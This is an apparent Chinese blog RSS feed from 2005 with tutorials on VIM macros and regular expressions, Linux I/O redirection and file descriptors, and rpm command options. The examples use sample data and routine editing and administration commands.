<BR>例二、重复输入同一字符<BR><BR>有时，我们可能想多次输入同一字符，VIM的插入功能可以很好的完成这项工作<BR><BR>命令 80i=^ESC 一次可以输入80个字符= ,当然，80a=^ESC 也可以完成上述功能。<BR><BR>请注意：此处的^ESC表示键盘左上方上的ESC键。<BR><BR>例三、将两个文本数据文件按行逐条合并，并给出标尺<BR><BR>数据文件1内容如下：<BR>1-----<BR>2-----<BR>3-----<BR><BR>数据文件2内容如下：<BR>1=====<BR>2=====<BR>3=====<BR><BR>要求的结果如下：<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>1=====<BR>|--------1---------2---------3---------4---------5<BR>2-----<BR>2=====<BR>|--------1---------2---------3---------4---------5<BR>3-----<BR>3=====<BR><BR>也 许您会说，这还不简单，无非是反复拷贝、粘贴，任何一款文本编辑器都能完成上述功能。可是，如果这两个文件都很大，每个文件都成千上万行，恐怕简单的拷 贝、粘贴就难以胜任了。因此，我们所关心的，是找到一种行之有效的方法，把枯燥乏味的工作留给计算机，我们只需发布指令。为达到此目的，请按以下步骤执 行：<BR><BR>㈠、将两文件合并，结果如下<BR>1-----<BR>2-----<BR>3-----<BR>1=====<BR>2=====<BR>3=====<BR><BR>㈡、在两文件头尾相接的地方插入标志行，用以区分两个文件，本文采用的是一整行！字符<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>1=====<BR>2=====<BR>3=====<BR><BR>㈢、在标志行的下方输入标尺<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>㈣、执行宏命令脚本merge_2r.vim，即在VIM编辑器中按如下键 :so merge_2r.vim 回车<BR><BR>㈤、按下键盘上的=键，执行的结果如下<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>1=====<BR>|--------1---------2---------3---------4---------5<BR>2-----<BR>2=====<BR>|--------1---------2---------3---------4---------5<BR>3-----<BR>3=====<BR>|--------1---------2---------3---------4---------5<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR><BR>㈥、将最后三行删除，即可得到我们需要的结果<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>1=====<BR>|--------1---------2---------3---------4---------5<BR>2-----<BR>2=====<BR>|--------1---------2---------3---------4---------5<BR>3-----<BR>3=====<BR><BR>怎么样，简单吗？请大家自己实际尝试一下。下面，我来详细讲解宏命令脚本merge_2r.vim 。<BR><BR>该脚本内容如下：<BR><BR>"--------------------------------------------------------------------"Macro Function : Merge File1 And File2,Have Ruler in every record" Date : 2001/12/01" Author : Yan Shi"--------------------------------------------------------------------"1----- "2----- } Sample File1"3-----"!!!!!!!!!!!!!!!!!!!!!!!! Flag Row"|--------1---------2---------3---------4---------5 Ruler"1===== "2===== } Sample File2"3===== "--------------------------------------------------------------------:1:map = ma/!!!!!^M+:.co 'a-1^M/!!!!!^M2+:.m'a^M+=<BR><BR><BR>前14行每行都以"开始，表明该行是注释行，实际并不执行，只是方便读者阅读，只有最后两行才是真正的代码行。请注意：本例中的^M表示键盘上的回车键，并非^和M两个字符。为了讲述清楚，我把命令行分解开，逐一说明。<BR><BR>首先将第一行置为当前行，然后执行map命令，将一大串VIM指令映像给字符=。这一大串VIM指令共分9步执行：<BR><BR>ma 将数据文件一的第一行标记为a<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>/!!!!!^M 找到标志行,置为当前行<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>+ 光标下移一行,即把标尺行置为当前行<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>:.co 'a-1^M 把标尺行复制到标记行(数据文件一的第一行)的上方<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>/!!!!!^M 再次找到标志行,置为当前行<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>2+ 光标下移2行，即数据文件二的第一行置为当前行<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>1=====<BR>2=====<BR>3=====<BR><BR>:.m'a^M 把数据文件二的第一行移至标记行的下方<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>1=====<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>2=====<BR>3=====<BR><BR>+ 光标下移一行，即数据文件一的第二行置为当前行<BR>|--------1---------2---------3---------4---------5<BR>1-----<BR>1=====<BR>2-----<BR>3-----<BR>!!!!!!!!!!!!!!!!!!!!!!!!<BR>|--------1---------2---------3---------4---------5<BR>2=====<BR>3=====<BR><BR>= 这一步很关键，是典型的递归调用，重复完成以上步骤<BR><BR>例四、在文件中置入行号<BR><BR>工作中，我们有时希望把行号置入文件中，而VIM提供的功能 :set nu 只能显示行号，不能编辑或将其置入文件当中，下面的宏命令脚本row_num.vim可以完成此项功能。<BR><BR>"------------------------------------------"Macro Function : Source File Add Row_Num" Date : 2001/12/01" Author : Yan Shi"------------------------------------------:%s/^/^I/:$:let end=line("."):1"------------------------------------------:let num=1:while num&lt;=end :let line=getline(".") :let temp=substitute(line,$,num,"") :call setline(".",temp) :+ :let num=num+1:endwhile"------------------------------------------<BR><BR><BR>请注意：本例中的^I表示键盘上的TAB键，并非^和I两个字符。下面，我针对该宏命令脚本逐一讲解。<BR><BR>:%s/^/^I/ 每一行的行首添加一个TAB字符:$ 到文件的末行:let end=line(".") 末行的行号 ==〉变量 END，函数line的功能是取得指定行的行号，此处参数"."表示当前行:1 到文件的首行"------------------------------------------:let num=1 1 ==〉计数器:while num&lt;=end :let line=getline(".") 取当前行的内容 ==〉变量 LINE :let line=substitute(line,$,num,"") 在变量 LINE 的前面置入行号 :call setline(".",line) 将变量 LINE 的内容写回当前行 :+ 下移一行 :let num=num+1 计数器加一:endwhile 循环执行，直到文件结束"------------------------------------------<BR><BR><BR>有关正则表达式的使用<BR><BR>UNIX/LINUX 下的很多工具之所以强大、灵活，关键是因为有了正则文法和元字符，这也是VIM乃至UNIX/LINUX系统的精华所在。正因为使用灵活，因此掌握起来比 较吃力，如果不是真正理解，实际运用中会出现千奇百怪的错误。因此，有必要对这部分知识多花些气力。下面结合具体实例讲解。<BR><BR>例五、有一文件，包含某外企的中国员工的资料，首先是姓名，然后是两个空格,其次是15位身份证号码。<BR><BR>zhang.fei 430759701022003diao.chan 651302801225012guan.yu 342869680413001xi.shi 120638780214006liu.bei 210324650708001<BR><BR><BR>现在，有以下问题需要解决：<BR><BR>按照外国人的习惯，应该是名在前，姓在后。因此，文件中的姓名字段需要修改。 <BR>姓与名的首字母应该大写。 <BR>根据身份证号码，还可以判断出生年月日，将其作为一个新字段添加。 <BR>根据身份证号码，可以判断出性别。若为男性，添加male，若为女性，添加female 。 <BR>将男女员工分开，男员工在前，女员工在后。 <BR>将各字段数据左对齐 <BR>最终结果如下：<BR><BR>Fei.Zhang 430759701022003 1970/10/22 male Yu.Guan 342869680413001 1968/04/13 male Bei.Liu 210324650708001 1965/07/08 male -----------------------------------------------Chan.Diao 651302801225012 1980/12/25 femaleShi.Xi 120638780214006 1978/02/14 female<BR><BR><BR>为了完成上述功能，只需执行脚本employee.vim ，使用方法为 :so employee.vim 回车即可。<BR><BR>脚本内容如下：<BR><BR>:%s/ / /:%s/\(............\)\( *\)/\1/:%s/\([A-Za-z][A-Za-z]*\)\(\.\)\([A-Za-z][A-Za-z]*\)/\u\3\2\u\1/:%s/$/ xxxxxx/:%s/\([0-9]\{6}\)\([0-9]\{6}\)\([0-9]\{3}\) \(xxxxxx\)/\1\2\3 \2/:%s/\(..\)\(..\)\(..\)$/19\1\/\2\/\3:%s/$/ xxxxxx/:%s/\([0-9]\{14}[13579]\)\(.*\)\(xxxxxx\)/\1\2male /:%s/\([0-9]\{14}[02468]\)\(.*\)\(xxxxxx\)/\1\2female/:$:s/.*/&amp;^M-----------------------------------------------:g/female/.m$<BR><BR><BR>在这个脚本中,使用了大量的正则表达式，这里仅对涉及到的正则表达式做一简要介绍。有关正则表达式的内容相当多，本文不可能占用大量篇幅叙述，请大家谅解。<BR><BR>% 地址范围符号，代表文件中的所有行,作用等同于地址范围 1,$<BR>. 与任意单字符(换行符除外)匹配，例如 y.s 可以匹配 yas y.s 或 y s 等等。<BR>* 与前一字符的0次或多次出现匹配，例如 y*s 可以匹配 yys yyyyys 或 s 等等。<BR>$ 与行尾匹配。<BR>&amp; 代表模式匹配中出现的字符串，例如 s/abc/&amp;def 是把当前行的abc替换成abcdef 。<BR>[] 匹配[]中出现的字符，例如[abc]匹配字符 a，b 或 c ，[a-zA-Z]匹配所有的英文字符。<BR>\( \) \(和\)之间出现的内容可以由\num来替代。<BR>\1\2\3 替代\(和\)之间出现的内容。<BR>\u 将后续字符串的首字母大写。<BR>\{num} 与前一字符的num次出现匹配。<BR><BR>现在，我们对脚本逐条讲解，希望能帮助大家理解正则文法。<BR><BR>⑴:%s/ / /<BR>将文件中每行出现的2个空格替换为10个空格。<BR><BR>zhang.fei 430759701022003diao.chan 651302801225012guan.yu 342869680413001xi.shi 120638780214006liu.bei 210324650708001<BR><BR><BR>⑵:%s/\(............\)\( *\)/\1/<BR>保留行首的12个字符，将其余的空格删除，这样，前两个字段就对齐了。<BR><BR>zhang.fei 430759701022003diao.chan 651302801225012guan.yu 342869680413001xi.shi 120638780214006liu.bei 210324650708001<BR><BR><BR>⑶:%s/\([A-Za-z][A-Za-z]*\)\(\.\)\([A-Za-z][A-Za-z]*\)/\u\3\2\u\1/<BR>将文件中每行出现的雇员姓名互换，并将首字母大写。<BR><BR>Fei.Zhang 430759701022003Chan.Diao 651302801225012Yu.Guan 342869680413001Shi.Xi 120638780214006Bei.Liu 210324650708001<BR><BR><BR>⑷:%s/$/ xxxxxx/<BR>在每一行的行尾添加2个空格和6个x<BR><BR>Fei.Zhang 430759701022003 xxxxxxChan.Diao 651302801225012 xxxxxxYu.Guan 342869680413001 xxxxxxShi.Xi 120638780214006 xxxxxxBei.Liu 210324650708001 xxxxxx<BR><BR><BR>⑸:%s/\([0-9]\{6}\)\([0-9]\{6}\)\([0-9]\{3}\) \(xxxxxx\)/\1\2\3 \2/<BR>将xxxxxx替换成出生年月日。<BR><BR>Fei.Zhang 430759701022003 701022Chan.Diao 651302801225012 801225Yu.Guan 342869680413001 680413Shi.Xi 120638780214006 780214Bei.Liu 210324650708001 650708<BR><BR><BR>⑹:%s/\(..\)\(..\)\(..\)$/19\1\/\2\/\3<BR>将年月日用/字符分隔，并在年前添加19。<BR><BR>Fei.Zhang 430759701022003 1970/10/22Chan.Diao 651302801225012 1980/12/25Yu.Guan 342869680413001 1968/04/13Shi.Xi 120638780214006 1978/02/14Bei.Liu 210324650708001 1965/07/08<BR><BR><BR>⑺:%s/$/ xxxxxx/<BR>在每一行的行尾添加2个空格和6个x<BR><BR>Fei.Zhang 430759701022003 1970/10/22 xxxxxxChan.Diao 651302801225012 1980/12/25 xxxxxxYu.Guan 342869680413001 1968/04/13 xxxxxxShi.Xi 120638780214006 1978/02/14 xxxxxxBei.Liu 210324650708001 1965/07/08 xxxxxx<BR><BR><BR>⑻:%s/\([0-9]\{14}[13579]\)\(.*\)\(xxxxxx\)/\1\2male /<BR>身份证号码末位是奇数的，将xxxxxx替换成male <BR><BR>Fei.Zhang 430759701022003 1970/10/22 male Chan.Diao 651302801225012 1980/12/25 xxxxxxYu.Guan 342869680413001 1968/04/13 male Shi.Xi 120638780214006 1978/02/14 xxxxxxBei.Liu 210324650708001 1965/07/08 male <BR><BR><BR>⑼:%s/\([0-9]\{14}[02468]\)\(.*\)\(xxxxxx\)/\1\2female/<BR>身份证号码末位是偶数的，将xxxxxx替换成female<BR><BR>Fei.Zhang 430759701022003 1970/10/22 male Chan.Diao 651302801225012 1980/12/25 femaleYu.Guan 342869680413001 1968/04/13 male Shi.Xi 120638780214006 1978/02/14 femaleBei.Liu 210324650708001 1965/07/08 male <BR><BR><BR>⑽:$ 到文件的最后一行<BR><BR>⑾:s/.*/&amp;^M-----------------------------------------------<BR>在文件的最末行插入一行 "-" 字符。<BR><BR>Fei.Zhang 430759701022003 1970/10/22 male Chan.Diao 651302801225012 1980/12/25 femaleYu.Guan 342869680413001 1968/04/13 male Shi.Xi 120638780214006 1978/02/14 femaleBei.Liu 210324650708001 1965/07/08 male -----------------------------------------------<BR><BR><BR>⑿:g/female/.m$<BR>将所有的女员工记录移至文件尾。<BR><BR>Fei.Zhang 430759701022003 1970/10/22 male Yu.Guan 342869680413001 1968/04/13 male Bei.Liu 210324650708001 1965/07/08 male -----------------------------------------------Chan.Diao 651302801225012 1980/12/25 femaleShi.Xi 120638780214006 1978/02/14 female<BR><BR><BR>笔者目前正在为某外资公司从事大型机（IBM S/390）的软件开发，一切工作都在TSO环境中进行。为了对编写的程序进行测试，必须准备测试数据。有过大型机开发经验的人会知道，通过TSO，输入 字符型数据还可以，如果要输入16进制数据，操作起来很麻烦。因为16进制数是纵向排列的，输入时既不方便，又很容易错位。怎么解决呢？我尝试了几种办 法，实际证明，用VIM最方便。<BR><BR>例六、下列数据 1234567890ABCDEF ，将其变成 13579ACE 24680BDF 的形式，这样，数据就可以很方便的粘贴到TSO环境中了。<BR><BR>下面给出宏命令脚本change_d.vim<BR><BR>"----------------------------------------------------"Macro Function : Convert Char Arrange Direction"" Sample : 40 50 60 ==&gt; 4 5 6" 0 0 0" Date : 2001/12/01" Author : Yan Shi"----------------------------------------------------:s/.*/&amp;^M/:1:map = malx+$p-`al=<BR><BR><BR>说明如下:<BR><BR>⑴ :s/.*/&amp;^M/ 在数据行下方添加一空行。⑵ :1 回到文件的首行的首字符。⑶ :map = malx+$p-`al= 将一大串VIM命令映像给字符=① ma 将首字符标记为a② l 光标右移一个字符③ x 删除光标处字符④ + 移至下一行⑤ $ 到行尾⑥ p 将删除的字符粘贴⑦ - 回至上一行⑧ `a 返回到标记字符处⑨ l 光标右移一个字符⑩ = 递归调用,重复以上步骤，直到将该行所有的数据处理完。<BR><BR><BR>上面的这几个实例，展示了VIM强大的文本处理功能，但 这远不能覆盖其全貌。VIM的命令很多，而且使用灵活，需要狠下一番气力才能熟练掌握。笔者年龄尚小，经验还很欠缺，希望本文能够起到抛砖引玉的作用。由 于时间的原因，上述实例仅在DOS和WINDOWS环境下测试，没有在其他系统下进行进一步的测试，希望各位同行、前辈不吝赐教，谢谢！<BR><BR>※ VIM 意为 VI Improved ，与VI99%向下兼容。而且，VIM提供了许多VI不具备的功能，内置了诸多函数，因此，建议有经验的VI用户对VIM有所了解，您会发现，转向VIM是明智之举。欲查询有关VIM的资料，请参考 <A title=http://www.vim.org href="http://www.vim.org/" target=_blank><FONT color=#002c99>http://www.vim.org</FONT></A> <img src ="http://www.cnitblog.com/cyberfan/aggbug/2085.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:01 <a href="http://www.cnitblog.com/cyberfan/articles/2085.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux I/O重定向的一些小技巧</title><link>http://www.cnitblog.com/cyberfan/articles/2082.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:00:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2082.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2082.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2082.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2082.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2082.html</trackback:ping><description><![CDATA[Linux I/O 重定向虽然很简单，但在脚本编写、系统管理时却要常常打交道，搞清其中使用技巧非常有用。<BR>首先说一下什么是I/O重定向，所谓I/O重定向简单来说就是一个过程，这个过程捕捉一个文件，或者命令，程序，脚本，甚至脚本中的代码块（code block）的输出，然后把捕捉到的输出，作为输入发送给另外一个文件，命令，程序，或者脚本。<BR><BR>如 果谈到I/O重定向，就涉及到文件标识符(File Descriptor)的概念, 在Linux系统中，系统为每一个打开的文件指定一个文件标识符以便系统对文件进行跟踪，这里有些和C语言编程里的文件句柄相似，文件标识符是一个数字， 不同数字代表不同的含义，默认情况下，系统占用了3个，分别是0标准输入（stdin）,1标准输出(stdout), 2标准错误(stderr), 另外3-9是保留的标识符，可以把这些标识符指定成标准输入，输出或者错误作为临时连接。通常这样可以解决很多复杂的重定向请求。<BR><BR>标准输入通常指键盘的输入<BR>标准输出通常指显示器的输出<BR>标准错误通常也是定向到显示器<BR><BR>请看以下例子，来描述一下他们的关系<BR><BR>#ls /dev<BR><BR><BR>这个命令列出/dev目录下的所有文件，在屏幕上输出结果。<BR><BR>这里 /dev 就是作为命令ls的标准输入（从键盘输入），而打印在屏幕的结果就是标准输出（/dev目录中的内容）<BR><BR>还是回到标题，重定向就是把标准的输入或者输出更改成其他的方式，请参看如下例子<BR>或者等同于<BR><BR>#ls /dev 1&gt;filename #注意："1"和"&gt;"中间没有空格<BR><BR><BR>以上命令会把命令的标准输出重新定向到一个文件filename,而不是显示到屏幕上，如果不指明文件标识符，系统默认的就是1, 因此1可以省略<BR><BR>如果把上面例子重的"&gt;"改成"&gt;&gt;"则表示把输出追加到filename文件的末尾，如果文件不存在则创建它。如下<BR><BR>#ls /dev &gt;&gt;filename<BR><BR><BR>也可以把标准错误重新定向到文件<BR><BR>#ls -qw /dev 2&gt;filename<BR><BR><BR>显然 -qw是一个错误参数，通常会在显示器上报告一个错误信息，但由于把2标准错误（stderr）重新定向到了文件filename，因此显示器没有错误信息，而信息写到了文件里面<BR><BR>以下命令是把标准输出和错误都定向到文件<BR><BR>#ls /dev &amp;&gt;filename<BR><BR><BR>"&amp;"在这里代表标准输出和标准错误，这里无论是正常输出还是错误信息都写到filename中了。<BR><BR>重新定义标准输入，输出，和错误的文件标识符<BR><BR>重新定义文件标识符可以用i&gt;&amp;j命令，表示把文件标识符i重新定向到j，你可以把"&amp;"理解为"取地址"<BR><BR>请看以下例子<BR><BR>#exec 5&gt;&amp;1<BR><BR><BR>表示把文件标识符5定向到标准输出，这个命令通常用来临时保存标准输入。<BR><BR>同样标准输入也是可以重新定向的，请参考下面例子<BR><BR># grep search-word &lt;filename或者grep search-word 0&lt;filename<BR><BR><BR>一般来说grep命令在给定文件中搜索字符串，以上命令把文件filename作为grep命令的标准输入，而不是从键盘输入。<BR><BR>前面曾经提到，系统为每一个打开的文件指定一个文件标识符以便系统对文件进行跟踪，那么默认的文件标识符是什么呢？答案是0，也就是标准输入，或者可以说从键盘输入。当然这个文件标识符也可以自己指定，请参考下面例子<BR><BR>#echo 123456789 &gt;filename 把字符串写到文件filename中#exec 3&lt;&gt;filename 把文件filename打开，并指定文件标识符为3#read -n 4 &lt;&amp;3 从文件中读4个字符，句柄已经指到第四个字符末尾#echo -n . &gt;&amp;3 在第5个字符处写一个点，覆盖第5个字符，-n表示不换行#exec 3&gt;&amp;- 关闭文件标识符3<BR><BR><BR>现在cat filename文件的结果就成了1234.6789<BR><BR>命令j&lt;&gt;filename表示把文件打开，并指明文件标识符为j<BR>"&amp;-"表示关闭文件标识符<BR><BR>有关关闭文件标识符的操作请参考下面<BR><BR>n&lt;&amp;- 关闭输入文件标识符n0&lt;&amp;-或&lt;&amp;- 关闭标准输入stdinn&gt;&amp;- 关闭输出文件标识符n1&gt;&amp;-或&gt;&amp;-关闭标准输出stdout<BR><BR><BR>另外还有一些其他命令，如下参考<BR><BR>2. ：&gt; filename 或者 &gt; filename<BR><BR><BR>表示把文件filename设置成空，也就是清空文件内容，如果文件不存在，则创建一个空文件，（等同于touch命令） ：表示一个空输出，两个命令的唯一区别就是&gt;filename不是在所有shell都可以正常工作的。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2082.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:00 <a href="http://www.cnitblog.com/cyberfan/articles/2082.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>rpm详解</title><link>http://www.cnitblog.com/cyberfan/articles/2083.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:00:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2083.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2083.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2083.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2083.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2083.html</trackback:ping><description><![CDATA[用法: rpm [选项...]<BR><BR>查询选项 (参数 -q 或 --query):<BR>-c, --configfiles 列出所有配置文件<BR>-d, --docfiles 列出所有文档文件<BR>--dump 导出基本文件信息<BR>-l, --list 列出包内的所有文件<BR>--queryformat=QUERYFORMAT 使用紧跟的查询格式<BR>-s, --state 显示文件列表的状态<BR>-v, --verbose 显示详细的文件列表<BR>-a, --all 查询/校验所有包<BR>-f, --file 查询/校验包的包含文件<BR>-g, --group 查询/校验组内的包<BR>-p, --package 查询/校验一个包文件(例如一个二进制的 *.rpm 文件)<BR>--querytags 显示已知的查询标签<BR>--specfile 查询规格文件<BR>--whatrequires 查询/校验指定包的依赖关系<BR>--whatprovides 查询/校验指定包的被依赖关系<BR><BR>校验选项 (参数 -V 或 --verify):<BR>--nomd5[|=0x1] 不使用MD5分类校验文件<BR>--nofiles[|=0x10000] 不校验包中的文件<BR>--nodeps[|=0x20000] 不校验包的依赖关系<BR>--noscript[|=0x40000] 不执行校验脚本(任何脚本)<BR>-a, --all 查询/校验所有包<BR>-f, --file 查询/校验包所含的文件<BR>-g, --group 查询/校验组内的包<BR>-p, --package 查询/校验一个包文件(例如一个二进制的 *.rpm 文件)<BR>--querytags 显示已知的查询标签<BR>--specfile 查询规格文件<BR>--whatrequires 查询/校验指定包的依赖关系<BR>--whatprovides 查询/校验指定包的被依赖关系<BR><BR>签名选项:<BR>--addsign 往包内增加一个签名<BR>--resign 签名一个包(去除当前签名)<BR>-K, --checksig 校验包的签名<BR>--nogpg[&amp;=~0x4] 忽略任何GPG的签名<BR>--nomd5[&amp;=~0x2] 不校验文件的MD5的校验数<BR><BR>数据库选项:<BR>--initdb 初始化数据库<BR>--rebuilddb 从已安装包的头信息中重建数据库的反转列表<BR><BR>安装/升级/卸载选项:<BR>--allfiles[|=0x40] 安装所有文件， 忽略找不到的配置项里面的部分<BR>--allmatches[|=0x2] 卸载所有和&lt;package&gt;项匹配的包。(如果&lt;package&gt;中指定多个包则会产生一个错误信息)<BR>--badreloc[|=0x8] 在非重定位包中重定位文件<BR>-e, --erase=&lt;package&gt;+ 卸载包<BR>--excludedocs[|=0x20] 不安装文档<BR>--excludepath=&lt;path&gt; 带引导组件的忽略文件&lt;path&gt; <BR>--force[|=0x74] --replacepkgs --replacefiles的快捷方式<BR>-F, --freshen=&lt;packagefile&gt;+ 在已安装的情况下升级包<BR>-h, --hash[|=0x2] 为安装包打上哈希标记(最好带-v选项)<BR>--ignorearch[|=0x2] 不校验包的体系<BR>--ignoreos[|=0x1] 不校验包的操作系统<BR>--ignoresize[|=0x180] 安装之前不检查磁盘空间<BR>--includedocs 安装文档<BR>--install=&lt;packagefile&gt;+ 安装包<BR>--justdb[|=0x8] 升级数据库，但是不修改文件系统<BR>--nodeps 不校验包的依赖关系<BR>--noorder[|=0x8] 不重新记录包的安装信息到依赖性中<BR>--noscripts[|=0xff0000] 不执行包的脚本<BR>--notriggers[|=0x990000] 不执行被该安装包触发的任何脚本<BR>--oldpackage[|=0x40] 升级到该包的一个旧版本<BR>(--force 升级的时候，该操作自动执行)<BR>--percent[|=0x1] 打印包的安装进度<BR>--prefix=&lt;dir&gt; 如果允许重定位，则重定位包到&lt;dir&gt;<BR>--relocate=&lt;old&gt;=&lt;new&gt; 从路径&lt;old&gt;到&lt;new&gt;重定位文件<BR>--repackage[|=0x400] 重新打包保存下来的卸载包的文件<BR>--replacefiles[|=0x30] 安装时用包文件替换已安装文件<BR>--replacepkgs[|=0x4] 如果包已经存在，那么重新安装<BR>--test[|=0x1] 不安装包，但是要检测能否正常运行<BR>-U, --upgrade=&lt;packagefile&gt;+ 升级包<BR><BR>所有rpm模式的通用选项:<BR>--version 打印所使用的rpm的版本信息<BR>--quiet 提供少量详细信息输出<BR>-v, --verbose 提供更多的详细信息输出<BR>--define='&lt;name&gt; &lt;body&gt;' 使用值&lt;body&gt;来定义宏&lt;name&gt;<BR>--eval=&lt;expr&gt;+ 打印&lt;expr&gt;+的宏扩展<BR>-r, --root=&lt;dir&gt; 使用&lt;dir&gt;作为顶层目录(默认: "/")<BR>--macros=&lt;file:...&gt; 读入&lt;file:...&gt;来代替默认的宏文件<BR>--rcfile=&lt;file:...&gt; 读入&lt;file:...&gt;来代替默认的rpmrc文件<BR>--showrc 显示最终的rpmrc和macro配置<BR><BR>通过popt alias/exec 实现的选项:<BR>--scripts 列出包中的所有安装/卸载脚本<BR>--setperms 在包中设置文件的权限<BR>--setugids 在包中设置文件的用户/组关系<BR>--conflicts 列出此包的兼容性<BR>--obsoletes 列出安装此包需要卸载的别的包<BR>--provides 列出此包提供的兼容性<BR>--requires 列出此包所需要的兼容性<BR>--info 列出包中的叙述信息<BR>--changelog 列出该包的变更日志<BR>--triggers 列出包中的触发脚本<BR>--last 根据安装时间列出包，最近时间的优先<BR>--filesbypkg 列出每个包的所有文件<BR>--redhatprovides 根据所包含的提供的兼容性查找包名(需要安装包rpmdb-redhat)<BR>--redhatrequires 根据所依赖的包的兼容性查找包名(需要安装包rpmdb-redhat)<BR>--buildpolicy=&lt;policy&gt; 设置包的根目录&lt;policy&gt;(例如，压缩man手册)<BR>--with=&lt;option&gt; 打开打包的&lt;选项&gt;配置<BR>--without=&lt;option&gt; 关闭打包的&lt;选项&gt;配置<BR><BR>帮助选项:<BR>-?, --help 显示该帮助信息<BR>--usage 显示用法摘要 <BR>******************************************************1.如何不安装但是获取rpm包中的文件 使用工具rpm2cpio和cpio rpm2cpio xxx.rpm | cpio -vi rpm2cpio xxx.rpm | cpio -idmv rpm2cpio xxx.rpm | cpio --extract --make-directories 参数i和extract相同，表示提取文件。v表示指示执行进程 d和make-directory相同，表示根据包中文件原来的路径建立目录 m表示保持文件的更新时间。 2.如何查看与rpm包相关的文件和其他信息 下面所有的例子都假设使用软件包mysql-3.23.54a-11 1.我的系统中安装了那些rpm软件包 rpm -qa 讲列出所有安装过的包 如果要查找所有安装过的包含某个字符串sql的软件包 rpm -qa |grep sql 3.如何获得某个软件包的文件全名 rpm -q mysql 可以获得系统中安装的mysql软件包全名，从中可以获得 当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11 4.一个rpm包中的文件安装到那里去了？ rpm -ql 包名 注意这里的是不包括.rpm后缀的软件包的名称 也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。 如果只是想知道可执行程序放到那里去了，也可以用which，比如 which mysql 5.一个rpm包中包含那些文件 一个没有安装过的软件包，使用rpm -qlp ****.rpm 一个已经安装过的软件包，还可以使用rpm -ql ****.rpm 6.如何获取关于一个软件包的版本，用途等相关信息？ 一个没有安装过的软件包，使用rpm -qip ****.rpm 一个已经安装过的软件包，还可以使用rpm -qi ****.rpm 6.某个程序是哪个软件包安装的，或者哪个软件包包含这个程序 rpm -qf `which 程序名` 返回软件包的全名 rpm -qif `which 程序名` 返回软件包的有关信息 rpm -qlf `which 程序名` 返回软件包的文件列表 注意，这里不是引号，而是`，就是键盘左上角的那个键。 也可以使用rpm -qilf，同时输出软件包信息和文件列表 7.某个文件是哪个软件包安装的，或者哪个软件包包含这个文件 注意，前一个问题中的方法，只适用与可执行的程序，而下面的方法，不仅可以 用于可执行程序，也可以用于普通的任何文件。前提是知道这个文件名。 首先获得这个程序的完整路径，可以用whereis或者which，然后使用rpm -qf例如： # whereis ftptop ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz # rpm -qf /usr/bin/ftptop proftpd-1.2.8-1 # rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt proftpd-1.2.8-1 总结： 获得软件包相关的信息用rpm -q，q表示查询query，后面可以跟其他选项，比如 i 表示info，获得软件包的信息； l 表示list，获得文件列表； a 表示all，在所有包中执行查询； f 表示file，根据文件进行相关的查询； p 表示package，根据软件包进行查询 需要的查询条件可以使用grep产生，或者从"` `"中的命令行产生 7.关于rpm软件包的一些相关知识 1.什么是rpm rpm 即RedHat Package Management，是RedHat的发明之一 